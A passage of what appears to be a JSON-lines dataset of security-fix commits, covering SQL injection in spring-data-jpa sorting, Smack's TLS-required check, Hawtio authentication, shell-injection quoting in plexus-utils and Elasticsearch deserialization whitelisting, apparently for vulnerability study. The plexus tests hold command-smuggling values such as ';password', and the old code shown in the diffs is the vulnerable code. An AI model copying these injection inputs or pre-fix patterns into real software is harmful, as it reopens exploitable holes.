ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\"extra command\\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n cmd[0] = (char *)\"{\\\"prefix\\\":\\\"mon_status\\\"}\";\n ASSERT_EQ(0, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n ASSERT_LT(0u, buflen);", "related": false}]} +{"owner": "spring-projects", "repo": "spring-data-jpa", "language": "Java", "file_name": "src/test/java/org/springframework/data/jpa/domain/JpaSortTests.java", "commit_id": "b8e7fecccc7dc8edcabb4704656a7abe6352c08f", "commit_message": "DATAJPA-965 - Fix potential blind SQL injection in Sort when used in combination with @Query.\n\nWe now decline sort expressions that contain functions such as ORDER BY LENGTH(name) when used with repository having a String query defined via the @Query annotation.\n\nThink of a query method as follows:\n\n@Query(\"select p from Person p where LOWER(p.lastname) = LOWER(:lastname)\")\nList findByLastname(@Param(\"lastname\") String lastname, Sort sort);\n\nCalls to findByLastname(\"lannister\", new Sort(\"LENGTH(firstname)\")) from now on throw an Exception indicating function calls are not allowed within the _ORDER BY_ clause. However you still can use JpaSort.unsafe(\"LENGTH(firstname)\") to restore the behavior.\n\nKudos to Niklas Särökaari, Joona Immonen, Arto Santala, Antti Virtanen, Michael Holopainen and Antti Ahola who brought this to our attention.", "patch": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2013-2015 the original author or authors.\n+ * Copyright 2013-2016 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n@@ -29,6 +29,7 @@\n import org.springframework.data.domain.Sort;\n import org.springframework.data.domain.Sort.Direction;\n import org.springframework.data.domain.Sort.Order;\n+import org.springframework.data.jpa.domain.JpaSort.JpaOrder;\n import org.springframework.data.jpa.domain.JpaSort.Path;\n import org.springframework.data.jpa.domain.sample.Address_;\n import org.springframework.data.jpa.domain.sample.MailMessage_;\n@@ -47,6 +48,7 @@\n * @see DATAJPA-12\n * @author Thomas Darimont\n * @author Oliver Gierke\n+ * @author Christoph Strobl\n */\n @RunWith(SpringJUnit4ClassRunner.class)\n @ContextConfiguration(\"classpath:infrastructure.xml\")\n@@ -173,4 +175,56 @@ public void buildsUpPathForPluralAttributesCorrectly() {\n \t\tassertThat(new JpaSort(path(User_.colleagues).dot(User_.roles).dot(Role_.name)), //\n \t\t\t\thasItem(new Order(ASC, \"colleagues.roles.name\")));\n \t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void createsUnsafeSortCorrectly() {\n+\n+\t\tJpaSort sort = JpaSort.unsafe(DESC, \"foo.bar\");\n+\n+\t\tassertThat(sort, hasItem(new Order(DESC, \"foo.bar\")));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void createsUnsafeSortWithMultiplePropertiesCorrectly() {\n+\n+\t\tJpaSort sort = JpaSort.unsafe(DESC, \"foo.bar\", \"spring.data\");\n+\n+\t\tassertThat(sort, hasItems(new Order(DESC, \"foo.bar\"), new Order(DESC, \"spring.data\")));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t\tassertThat(sort.getOrderFor(\"spring.data\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void combinesSafeAndUnsafeSortCorrectly() {\n+\n+\t\tJpaSort sort = new JpaSort(path(User_.colleagues).dot(User_.roles).dot(Role_.name)).andUnsafe(DESC, \"foo.bar\");\n+\n+\t\tassertThat(sort, hasItems(new Order(ASC, \"colleagues.roles.name\"), new Order(DESC, \"foo.bar\")));\n+\t\tassertThat(sort.getOrderFor(\"colleagues.roles.name\"), is(not(instanceOf(JpaOrder.class))));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void combinesUnsafeAndSafeSortCorrectly() {\n+\n+\t\tSort sort = JpaSort.unsafe(DESC, \"foo.bar\").and(ASC, path(User_.colleagues).dot(User_.roles).dot(Role_.name));\n+\n+\t\tassertThat(sort, hasItems(new Order(ASC, \"colleagues.roles.name\"), new Order(DESC, \"foo.bar\")));\n+\t\tassertThat(sort.getOrderFor(\"colleagues.roles.name\"), is(not(instanceOf(JpaOrder.class))));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n }", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2013-2015 the original author or authors.\n+ * Copyright 2013-2016 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n", "related": false}, {"section": "@@ -29,6 +29,7 @@\n import org.springframework.data.domain.Sort;\n import org.springframework.data.domain.Sort.Direction;\n import org.springframework.data.domain.Sort.Order;\n+import org.springframework.data.jpa.domain.JpaSort.JpaOrder;\n import org.springframework.data.jpa.domain.JpaSort.Path;\n import org.springframework.data.jpa.domain.sample.Address_;\n import org.springframework.data.jpa.domain.sample.MailMessage_;\n", "related": false}, {"section": "@@ -47,6 +48,7 @@\n * @see DATAJPA-12\n * @author Thomas Darimont\n * @author Oliver Gierke\n+ * @author Christoph Strobl\n */\n @RunWith(SpringJUnit4ClassRunner.class)\n @ContextConfiguration(\"classpath:infrastructure.xml\")\n", "related": false}, {"section": "@@ -173,4 +175,56 @@ public void buildsUpPathForPluralAttributesCorrectly() {\n \t\tassertThat(new JpaSort(path(User_.colleagues).dot(User_.roles).dot(Role_.name)), //\n \t\t\t\thasItem(new Order(ASC, \"colleagues.roles.name\")));\n \t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void createsUnsafeSortCorrectly() {\n+\n+\t\tJpaSort sort = JpaSort.unsafe(DESC, \"foo.bar\");\n+\n+\t\tassertThat(sort, hasItem(new Order(DESC, \"foo.bar\")));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void createsUnsafeSortWithMultiplePropertiesCorrectly() {\n+\n+\t\tJpaSort sort = JpaSort.unsafe(DESC, \"foo.bar\", \"spring.data\");\n+\n+\t\tassertThat(sort, hasItems(new Order(DESC, \"foo.bar\"), new Order(DESC, \"spring.data\")));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t\tassertThat(sort.getOrderFor(\"spring.data\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void combinesSafeAndUnsafeSortCorrectly() {\n+\n+\t\tJpaSort sort = new JpaSort(path(User_.colleagues).dot(User_.roles).dot(Role_.name)).andUnsafe(DESC, \"foo.bar\");\n+\n+\t\tassertThat(sort, hasItems(new Order(ASC, \"colleagues.roles.name\"), new Order(DESC, \"foo.bar\")));\n+\t\tassertThat(sort.getOrderFor(\"colleagues.roles.name\"), is(not(instanceOf(JpaOrder.class))));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n+\t/**\n+\t * @see DATAJPA-???\n+\t */\n+\t@Test\n+\tpublic void combinesUnsafeAndSafeSortCorrectly() {\n+\n+\t\tSort sort = JpaSort.unsafe(DESC, \"foo.bar\").and(ASC, path(User_.colleagues).dot(User_.roles).dot(Role_.name));\n+\n+\t\tassertThat(sort, hasItems(new Order(ASC, \"colleagues.roles.name\"), new Order(DESC, \"foo.bar\")));\n+\t\tassertThat(sort.getOrderFor(\"colleagues.roles.name\"), is(not(instanceOf(JpaOrder.class))));\n+\t\tassertThat(sort.getOrderFor(\"foo.bar\"), is(instanceOf(JpaOrder.class)));\n+\t}\n+\n }", "related": false}]} +{"owner": "liferay", "repo": "liferay-portal", "language": "Java", "file_name": "portal-impl/src/com/liferay/portal/velocity/LiferayMethodExceptionEventHandler.java", "commit_id": "90c4e85a8f8135f069f3f05e4d54a77704769f91", "commit_message": "LPS-27741 Add security by plugin context execution to template engines\n\n- We have to initialize/destroy a new template context specific to each plugin (keyed by ClassLoader of the plugin)\n- Add/Replaced helper utilities to support classloading control (and access to classes/packages) within templates", "patch": "@@ -0,0 +1,41 @@\n+/**\n+ * Copyright (c) 2000-2012 Liferay, Inc. All rights reserved.\n+ *\n+ * This library is free software; you can redistribute it and/or modify it under\n+ * the terms of the GNU Lesser General Public License as published by the Free\n+ * Software Foundation; either version 2.1 of the License, or (at your option)\n+ * any later version.\n+ *\n+ * This library is distributed in the hope that it will be useful, but WITHOUT\n+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n+ * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n+ * details.\n+ */\n+\n+package com.liferay.portal.velocity;\n+\n+import com.liferay.portal.kernel.log.Log;\n+import com.liferay.portal.kernel.log.LogFactoryUtil;\n+\n+import org.apache.velocity.app.event.MethodExceptionEventHandler;\n+\n+/**\n+ * @author Raymond Augé\n+ */\n+public class LiferayMethodExceptionEventHandler\n+\timplements MethodExceptionEventHandler {\n+\n+\tpublic Object methodException(\n+\t\t\t@SuppressWarnings(\"rawtypes\") Class clazz, String method,\n+\t\t\tException e)\n+\t\tthrows Exception {\n+\n+\t\t_log.error(e, e);\n+\n+\t\treturn null;\n+\t}\n+\n+\tprivate static Log _log = LogFactoryUtil.getLog(\n+\t\tLiferayMethodExceptionEventHandler.class);\n+\n+}\n\\ No newline at end of file", "sections": [{"section": "@@ -0,0 +1,41 @@\n+/**\n+ * Copyright (c) 2000-2012 Liferay, Inc. All rights reserved.\n+ *\n+ * This library is free software; you can redistribute it and/or modify it under\n+ * the terms of the GNU Lesser General Public License as published by the Free\n+ * Software Foundation; either version 2.1 of the License, or (at your option)\n+ * any later version.\n+ *\n+ * This library is distributed in the hope that it will be useful, but WITHOUT\n+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n+ * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n+ * details.\n+ */\n+\n+package com.liferay.portal.velocity;\n+\n+import com.liferay.portal.kernel.log.Log;\n+import com.liferay.portal.kernel.log.LogFactoryUtil;\n+\n+import org.apache.velocity.app.event.MethodExceptionEventHandler;\n+\n+/**\n+ * @author Raymond Augé\n+ */\n+public class LiferayMethodExceptionEventHandler\n+\timplements MethodExceptionEventHandler {\n+\n+\tpublic Object methodException(\n+\t\t\t@SuppressWarnings(\"rawtypes\") Class clazz, String method,\n+\t\t\tException e)\n+\t\tthrows Exception {\n+\n+\t\t_log.error(e, e);\n+\n+\t\treturn null;\n+\t}\n+\n+\tprivate static Log _log = LogFactoryUtil.getLog(\n+\t\tLiferayMethodExceptionEventHandler.class);\n+\n+}\n\\ No newline at end of file", "related": false}]} +{"owner": "igniterealtime", "repo": "smack", "language": "Java", "file_name": "smack-tcp/src/main/java/org/jivesoftware/smack/tcp/XMPPTCPConnection.java", "commit_id": "a9d5cd4a611f47123f9561bc5a81a4555fe7cb04", "commit_message": "Move TLS Required check at the end of connect()\n\nIt was a *very* bad idea to perform the SecurityMode.Required check in\nthe connection's reader thread and not at the end of\nAbstractXMPPConnectin's connect(). :/\n\nThis behavior dates back to 8e750912a765f77a4f178a4f307a8b42c2afb5ae\n\nFixes SMACK-739", "patch": "@@ -29,9 +29,7 @@\n import org.jivesoftware.smack.SmackException.NoResponseException;\n import org.jivesoftware.smack.SmackException.NotConnectedException;\n import org.jivesoftware.smack.SmackException.ConnectionException;\n-import org.jivesoftware.smack.SmackException.SecurityRequiredByClientException;\n import org.jivesoftware.smack.SmackException.SecurityRequiredByServerException;\n-import org.jivesoftware.smack.SmackException.SecurityRequiredException;\n import org.jivesoftware.smack.SynchronizationPoint;\n import org.jivesoftware.smack.XMPPException.StreamErrorException;\n import org.jivesoftware.smack.XMPPConnection;\n@@ -917,7 +915,7 @@ protected void setWriter(Writer writer) {\n }\n \n @Override\n- protected void afterFeaturesReceived() throws SecurityRequiredException, NotConnectedException, InterruptedException {\n+ protected void afterFeaturesReceived() throws NotConnectedException, InterruptedException {\n StartTls startTlsFeature = getFeature(StartTls.ELEMENT, StartTls.NAMESPACE);\n if (startTlsFeature != null) {\n if (startTlsFeature.required() && config.getSecurityMode() == SecurityMode.disabled) {\n@@ -929,13 +927,6 @@ protected void afterFeaturesReceived() throws SecurityRequiredException, NotConn\n sendNonza(new StartTls());\n }\n }\n- // If TLS is required but the server doesn't offer it, disconnect\n- // from the server and throw an error. First check if we've already negotiated TLS\n- // and are secure, however (features get parsed a second time after TLS is established).\n- if (!isSecureConnection() && startTlsFeature == null\n- && getConfiguration().getSecurityMode() == SecurityMode.required) {\n- throw new SecurityRequiredByClientException();\n- }\n \n if (getSASLAuthentication().authenticationSuccessful()) {\n // If we have received features after the SASL has been successfully completed, then we", "sections": [{"section": "@@ -29,9 +29,7 @@\n import org.jivesoftware.smack.SmackException.NoResponseException;\n import org.jivesoftware.smack.SmackException.NotConnectedException;\n import org.jivesoftware.smack.SmackException.ConnectionException;\n-import org.jivesoftware.smack.SmackException.SecurityRequiredByClientException;\n import org.jivesoftware.smack.SmackException.SecurityRequiredByServerException;\n-import org.jivesoftware.smack.SmackException.SecurityRequiredException;\n import org.jivesoftware.smack.SynchronizationPoint;\n import org.jivesoftware.smack.XMPPException.StreamErrorException;\n import org.jivesoftware.smack.XMPPConnection;\n", "related": false}, {"section": "@@ -917,7 +915,7 @@ protected void setWriter(Writer writer) {\n }\n \n @Override\n- protected void afterFeaturesReceived() throws SecurityRequiredException, NotConnectedException, InterruptedException {\n+ protected void afterFeaturesReceived() throws NotConnectedException, InterruptedException {\n StartTls startTlsFeature = getFeature(StartTls.ELEMENT, StartTls.NAMESPACE);\n if (startTlsFeature != null) {\n if (startTlsFeature.required() && config.getSecurityMode() == SecurityMode.disabled) {\n", "related": false}, {"section": "@@ -929,13 +927,6 @@ protected void afterFeaturesReceived() throws SecurityRequiredException, NotConn\n sendNonza(new StartTls());\n }\n }\n- // If TLS is required but the server doesn't offer it, disconnect\n- // from the server and throw an error. First check if we've already negotiated TLS\n- // and are secure, however (features get parsed a second time after TLS is established).\n- if (!isSecureConnection() && startTlsFeature == null\n- && getConfiguration().getSecurityMode() == SecurityMode.required) {\n- throw new SecurityRequiredByClientException();\n- }\n \n if (getSASLAuthentication().authenticationSuccessful()) {\n // If we have received features after the SASL has been successfully completed, then we", "related": false}]} +{"owner": "hawtio", "repo": "hawtio", "language": "Java", "file_name": "hawtio-system/src/main/java/io/hawt/web/AuthenticationFilter.java", "commit_id": "5289715e4f2657562fdddcbad830a30969b96e1e", "commit_message": "Ensure we secure hawtio-karaf-terminal's /term context", "patch": "@@ -105,9 +105,7 @@ public void doFilter(final ServletRequest request, final ServletResponse respons\n }\n }\n \n- boolean doAuthenticate = path.startsWith(\"/auth\") ||\n- path.startsWith(\"/jolokia\") ||\n- path.startsWith(\"/upload\");\n+ boolean doAuthenticate = true;\n \n if (doAuthenticate) {\n LOG.debug(\"Doing authentication and authorization for path {}\", path);\n@@ -129,7 +127,7 @@ public void execute(Subject subject) throws Exception {\n break;\n }\n } else {\n- LOG.debug(\"No authentication needed for path {}\", path);\n+ LOG.warn(\"No authentication needed for path {}\", path);\n chain.doFilter(request, response);\n }\n }", "sections": [{"section": "@@ -105,9 +105,7 @@ public void doFilter(final ServletRequest request, final ServletResponse respons\n }\n }\n \n- boolean doAuthenticate = path.startsWith(\"/auth\") ||\n- path.startsWith(\"/jolokia\") ||\n- path.startsWith(\"/upload\");\n+ boolean doAuthenticate = true;\n \n if (doAuthenticate) {\n LOG.debug(\"Doing authentication and authorization for path {}\", path);\n", "related": false}, {"section": "@@ -129,7 +127,7 @@ public void execute(Subject subject) throws Exception {\n break;\n }\n } else {\n- LOG.debug(\"No authentication needed for path {}\", path);\n+ LOG.warn(\"No authentication needed for path {}\", path);\n chain.doFilter(request, response);\n }\n }", "related": false}]} +{"owner": "codehaus-plexus", "repo": "plexus-utils", "language": "Java", "file_name": "src/test/java/org/codehaus/plexus/util/cli/shell/BourneShellTest.java", "commit_id": "b38a1b3a4352303e4312b2bb601a0d7ec6e28f41", "commit_message": "[PLXUTILS-161] Commandline shell injection problems\n\nPatch by Charles Duffy, applied unmodified", "patch": "@@ -16,14 +16,13 @@\n * limitations under the License.\n */\n \n+import junit.framework.TestCase;\n import org.codehaus.plexus.util.StringUtils;\n import org.codehaus.plexus.util.cli.Commandline;\n \n import java.util.Arrays;\n import java.util.List;\n \n-import junit.framework.TestCase;\n-\n public class BourneShellTest\n extends TestCase\n {\n@@ -42,7 +41,7 @@ public void testQuoteWorkingDirectoryAndExecutable()\n \n String executable = StringUtils.join( sh.getShellCommandLine( new String[]{} ).iterator(), \" \" );\n \n- assertEquals( \"/bin/sh -c cd /usr/local/bin && chmod\", executable );\n+ assertEquals( \"/bin/sh -c cd '/usr/local/bin' && 'chmod'\", executable );\n }\n \n public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes()\n@@ -54,7 +53,7 @@ public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes()\n \n String executable = StringUtils.join( sh.getShellCommandLine( new String[]{} ).iterator(), \" \" );\n \n- assertEquals( \"/bin/sh -c cd \\\"/usr/local/\\'something else\\'\\\" && chmod\", executable );\n+ assertEquals( \"/bin/sh -c cd '/usr/local/'\\\"'\\\"'something else'\\\"'\\\"'' && 'chmod'\", executable );\n }\n \n public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes_BackslashFileSep()\n@@ -66,7 +65,7 @@ public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes_Backsl\n \n String executable = StringUtils.join( sh.getShellCommandLine( new String[]{} ).iterator(), \" \" );\n \n- assertEquals( \"/bin/sh -c cd \\\"\\\\usr\\\\local\\\\\\'something else\\'\\\" && chmod\", executable );\n+ assertEquals( \"/bin/sh -c cd '\\\\usr\\\\local\\\\\\'\\\"'\\\"'something else'\\\"'\\\"'' && 'chmod'\", executable );\n }\n \n public void testPreserveSingleQuotesOnArgument()\n@@ -82,7 +81,7 @@ public void testPreserveSingleQuotesOnArgument()\n \n String cli = StringUtils.join( shellCommandLine.iterator(), \" \" );\n System.out.println( cli );\n- assertTrue( cli.endsWith( args[0] ) );\n+ assertTrue( cli.endsWith(\"''\\\"'\\\"'some arg with spaces'\\\"'\\\"''\"));\n }\n \n public void testAddSingleQuotesOnArgumentWithSpaces()\n@@ -114,7 +113,7 @@ public void testEscapeSingleQuotesOnArgument()\n \n String cli = StringUtils.join( shellCommandLine.iterator(), \" \" );\n System.out.println( cli );\n- assertEquals(\"cd /usr/bin && chmod 'arg'\\\\''withquote'\", shellCommandLine.get(shellCommandLine.size() - 1));\n+ assertEquals(\"cd '/usr/bin' && 'chmod' 'arg'\\\"'\\\"'withquote'\", shellCommandLine.get(shellCommandLine.size() - 1));\n }\n \n public void testArgumentsWithsemicolon()\n@@ -146,7 +145,7 @@ public void testArgumentsWithsemicolon()\n \n assertEquals( \"/bin/sh\", lines[0] );\n assertEquals( \"-c\", lines[1] );\n- assertEquals( \"chmod --password ';password'\", lines[2] );\n+ assertEquals( \"'chmod' '--password' ';password'\", lines[2] );\n \n commandline = new Commandline( newShell() );\n commandline.setExecutable( \"chmod\" );\n@@ -158,7 +157,7 @@ public void testArgumentsWithsemicolon()\n \n assertEquals( \"/bin/sh\", lines[0] );\n assertEquals( \"-c\", lines[1] );\n- assertEquals( \"chmod --password ';password'\", lines[2] );\n+ assertEquals( \"'chmod' '--password' ';password'\", lines[2] );\n \n commandline = new Commandline( new CmdShell() );\n commandline.getShell().setQuotedArgumentsEnabled( true );\n@@ -206,7 +205,7 @@ public void testBourneShellQuotingCharacters()\n \n assertEquals( \"/bin/sh\", lines[0] );\n assertEquals( \"-c\", lines[1] );\n- assertEquals( \"chmod ' ' '|' '&&' '||' ';' ';;' '&' '()' '<' '<<' '>' '>>' '*' '?' '[' ']' '{' '}' '`'\",\n+ assertEquals( \"'chmod' ' ' '|' '&&' '||' ';' ';;' '&' '()' '<' '<<' '>' '>>' '*' '?' '[' ']' '{' '}' '`'\",\n lines[2] );\n \n }", "sections": [{"section": "@@ -16,14 +16,13 @@\n * limitations under the License.\n */\n \n+import junit.framework.TestCase;\n import org.codehaus.plexus.util.StringUtils;\n import org.codehaus.plexus.util.cli.Commandline;\n \n import java.util.Arrays;\n import java.util.List;\n \n-import junit.framework.TestCase;\n-\n public class BourneShellTest\n extends TestCase\n {\n", "related": false}, {"section": "@@ -42,7 +41,7 @@ public void testQuoteWorkingDirectoryAndExecutable()\n \n String executable = StringUtils.join( sh.getShellCommandLine( new String[]{} ).iterator(), \" \" );\n \n- assertEquals( \"/bin/sh -c cd /usr/local/bin && chmod\", executable );\n+ assertEquals( \"/bin/sh -c cd '/usr/local/bin' && 'chmod'\", executable );\n }\n \n public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes()\n", "related": false}, {"section": "@@ -54,7 +53,7 @@ public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes()\n \n String executable = StringUtils.join( sh.getShellCommandLine( new String[]{} ).iterator(), \" \" );\n \n- assertEquals( \"/bin/sh -c cd \\\"/usr/local/\\'something else\\'\\\" && chmod\", executable );\n+ assertEquals( \"/bin/sh -c cd '/usr/local/'\\\"'\\\"'something else'\\\"'\\\"'' && 'chmod'\", executable );\n }\n \n public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes_BackslashFileSep()\n", "related": false}, {"section": "@@ -66,7 +65,7 @@ public void testQuoteWorkingDirectoryAndExecutable_WDPathWithSingleQuotes_Backsl\n \n String executable = StringUtils.join( sh.getShellCommandLine( new String[]{} ).iterator(), \" \" );\n \n- assertEquals( \"/bin/sh -c cd \\\"\\\\usr\\\\local\\\\\\'something else\\'\\\" && chmod\", executable );\n+ assertEquals( \"/bin/sh -c cd '\\\\usr\\\\local\\\\\\'\\\"'\\\"'something else'\\\"'\\\"'' && 'chmod'\", executable );\n }\n \n public void testPreserveSingleQuotesOnArgument()\n", "related": false}, {"section": "@@ -82,7 +81,7 @@ public void testPreserveSingleQuotesOnArgument()\n \n String cli = StringUtils.join( shellCommandLine.iterator(), \" \" );\n System.out.println( cli );\n- assertTrue( cli.endsWith( args[0] ) );\n+ assertTrue( cli.endsWith(\"''\\\"'\\\"'some arg with spaces'\\\"'\\\"''\"));\n }\n \n public void testAddSingleQuotesOnArgumentWithSpaces()\n", "related": false}, {"section": "@@ -114,7 +113,7 @@ public void testEscapeSingleQuotesOnArgument()\n \n String cli = StringUtils.join( shellCommandLine.iterator(), \" \" );\n System.out.println( cli );\n- assertEquals(\"cd /usr/bin && chmod 'arg'\\\\''withquote'\", shellCommandLine.get(shellCommandLine.size() - 1));\n+ assertEquals(\"cd '/usr/bin' && 'chmod' 'arg'\\\"'\\\"'withquote'\", shellCommandLine.get(shellCommandLine.size() - 1));\n }\n \n public void testArgumentsWithsemicolon()\n", "related": false}, {"section": "@@ -146,7 +145,7 @@ public void testArgumentsWithsemicolon()\n \n assertEquals( \"/bin/sh\", lines[0] );\n assertEquals( \"-c\", lines[1] );\n- assertEquals( \"chmod --password ';password'\", lines[2] );\n+ assertEquals( \"'chmod' '--password' ';password'\", lines[2] );\n \n commandline = new Commandline( newShell() );\n commandline.setExecutable( \"chmod\" );\n", "related": false}, {"section": "@@ -158,7 +157,7 @@ public void testArgumentsWithsemicolon()\n \n assertEquals( \"/bin/sh\", lines[0] );\n assertEquals( \"-c\", lines[1] );\n- assertEquals( \"chmod --password ';password'\", lines[2] );\n+ assertEquals( \"'chmod' '--password' ';password'\", lines[2] );\n \n commandline = new Commandline( new CmdShell() );\n commandline.getShell().setQuotedArgumentsEnabled( true );\n", "related": false}, {"section": "@@ -206,7 +205,7 @@ public void testBourneShellQuotingCharacters()\n \n assertEquals( \"/bin/sh\", lines[0] );\n assertEquals( \"-c\", lines[1] );\n- assertEquals( \"chmod ' ' '|' '&&' '||' ';' ';;' '&' '()' '<' '<<' '>' '>>' '*' '?' '[' ']' '{' '}' '`'\",\n+ assertEquals( \"'chmod' ' ' '|' '&&' '||' ';' ';;' '&' '()' '<' '<<' '>' '>>' '*' '?' '[' ']' '{' '}' '`'\",\n lines[2] );\n \n }", "related": false}]} +{"owner": "elastic", "repo": "elasticsearch", "language": "Java", "file_name": "src/main/java/org/elasticsearch/common/io/ThrowableObjectInputStream.java", "commit_id": "bf3052d14c874aead7da8855c5fcadf5428a43f2", "commit_message": "Restrict Exception deserialization to Core and JDK classes\n\nwhen 3rd party exceptions are deserialized they might carry\nclasses not present on the deserializing node. This causes hard\nexceptions and looses the exception entirely. This commit restricts\nthe classes we support for deserialization for core and selected JDK\nclasses to guarantee they are present on both source and target nodes", "patch": "@@ -19,9 +19,15 @@\n \n package org.elasticsearch.common.io;\n \n+import com.fasterxml.jackson.core.JsonLocation;\n+import com.google.common.collect.ImmutableMap;\n import org.elasticsearch.common.Classes;\n+import org.elasticsearch.common.collect.IdentityHashSet;\n+import org.joda.time.DateTimeFieldType;\n \n import java.io.*;\n+import java.net.*;\n+import java.util.*;\n \n /**\n *\n@@ -61,11 +67,11 @@ protected ObjectStreamClass readClassDescriptor()\n case ThrowableObjectOutputStream.TYPE_STACKTRACEELEMENT:\n return ObjectStreamClass.lookup(StackTraceElement.class);\n case ThrowableObjectOutputStream.TYPE_FAT_DESCRIPTOR:\n- return super.readClassDescriptor();\n+ return verify(super.readClassDescriptor());\n case ThrowableObjectOutputStream.TYPE_THIN_DESCRIPTOR:\n String className = readUTF();\n Class clazz = loadClass(className);\n- return ObjectStreamClass.lookup(clazz);\n+ return verify(ObjectStreamClass.lookup(clazz));\n default:\n throw new StreamCorruptedException(\n \"Unexpected class descriptor type: \" + type);\n@@ -96,4 +102,40 @@ protected Class loadClass(String className) throws ClassNotFoundException {\n }\n return clazz;\n }\n+\n+ private static final Set> CLASS_WHITELIST;\n+ private static final Set PKG_WHITELIST;\n+ static {\n+ IdentityHashSet> classes = new IdentityHashSet<>();\n+ classes.add(String.class);\n+ // inet stuff is needed for DiscoveryNode\n+ classes.add(Inet6Address.class);\n+ classes.add(Inet4Address.class);\n+ classes.add(InetAddress.class);\n+ classes.add(InetSocketAddress.class);\n+ classes.add(SocketAddress.class);\n+ classes.add(StackTraceElement.class);\n+ classes.add(JsonLocation.class); // JsonParseException uses this\n+ IdentityHashSet packages = new IdentityHashSet<>();\n+ packages.add(Integer.class.getPackage()); // java.lang\n+ packages.add(List.class.getPackage()); // java.util\n+ packages.add(ImmutableMap.class.getPackage()); // com.google.common.collect\n+ packages.add(DateTimeFieldType.class.getPackage()); // org.joda.time\n+ CLASS_WHITELIST = Collections.unmodifiableSet(classes);\n+ PKG_WHITELIST = Collections.unmodifiableSet(packages);\n+ }\n+\n+ private ObjectStreamClass verify(ObjectStreamClass streamClass) throws IOException, ClassNotFoundException {\n+ Class aClass = resolveClass(streamClass);\n+ Package pkg = aClass.getPackage();\n+ if (aClass.isPrimitive() // primitives are fine\n+ || aClass.isArray() // arrays are ok too\n+ || Throwable.class.isAssignableFrom(aClass)// exceptions are fine\n+ || CLASS_WHITELIST.contains(aClass) // whitelist JDK stuff we need\n+ || PKG_WHITELIST.contains(aClass.getPackage())\n+ || pkg.getName().startsWith(\"org.elasticsearch\")) { // es classes are ok\n+ return streamClass;\n+ }\n+ throw new NotSerializableException(aClass.getName());\n+ }\n }", "sections": [{"section": "@@ -19,9 +19,15 @@\n \n package org.elasticsearch.common.io;\n \n+import com.fasterxml.jackson.core.JsonLocation;\n+import com.google.common.collect.ImmutableMap;\n import org.elasticsearch.common.Classes;\n+import org.elasticsearch.common.collect.IdentityHashSet;\n+import org.joda.time.DateTimeFieldType;\n \n import java.io.*;\n+import java.net.*;\n+import java.util.*;\n \n /**\n *\n", "related": false}, {"section": "@@ -61,11 +67,11 @@ protected ObjectStreamClass readClassDescriptor()\n case ThrowableObjectOutputStream.TYPE_STACKTRACEELEMENT:\n return ObjectStreamClass.lookup(StackTraceElement.class);\n case ThrowableObjectOutputStream.TYPE_FAT_DESCRIPTOR:\n- return super.readClassDescriptor();\n+ return verify(super.readClassDescriptor());\n case ThrowableObjectOutputStream.TYPE_THIN_DESCRIPTOR:\n String className = readUTF();\n Class clazz = loadClass(className);\n- return ObjectStreamClass.lookup(clazz);\n+ return verify(ObjectStreamClass.lookup(clazz));\n default:\n throw new StreamCorruptedException(\n \"Unexpected class descriptor type: \" + type);\n", "related": false}, {"section": "@@ -96,4 +102,40 @@ protected Class loadClass(String className) throws ClassNotFoundException {\n }\n return clazz;\n }\n+\n+ private static final Set> CLASS_WHITELIST;\n+ private static final Set PKG_WHITELIST;\n+ static {\n+ IdentityHashSet> classes = new IdentityHashSet<>();\n+ classes.add(String.class);\n+ // inet stuff is needed for DiscoveryNode\n+ classes.add(Inet6Address.class);\n+ 